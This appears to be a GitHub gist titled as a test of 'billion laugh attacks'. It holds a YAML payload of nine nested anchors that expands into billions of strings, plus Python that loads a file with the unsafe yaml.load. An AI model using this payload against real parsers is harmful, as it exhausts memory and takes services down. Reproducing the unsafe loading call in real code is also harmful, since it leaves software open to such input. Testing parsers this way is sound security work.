Skip to content

Instantly share code, notes, and snippets.

@PhiHuyHoang
Created July 10, 2019 15:03
Show Gist options
  • Save PhiHuyHoang/020489e8582c4ad0e9a09c24b214eb15 to your computer and use it in GitHub Desktop.
Save PhiHuyHoang/020489e8582c4ad0e9a09c24b214eb15 to your computer and use it in GitHub Desktop.
Test billion laugh attacks
"""
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
"""
import yaml
with open('lol.yaml', 'r') as stream:
try:
print(yaml.load(stream))
except yaml.YAMLError as exc:
print(exc)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment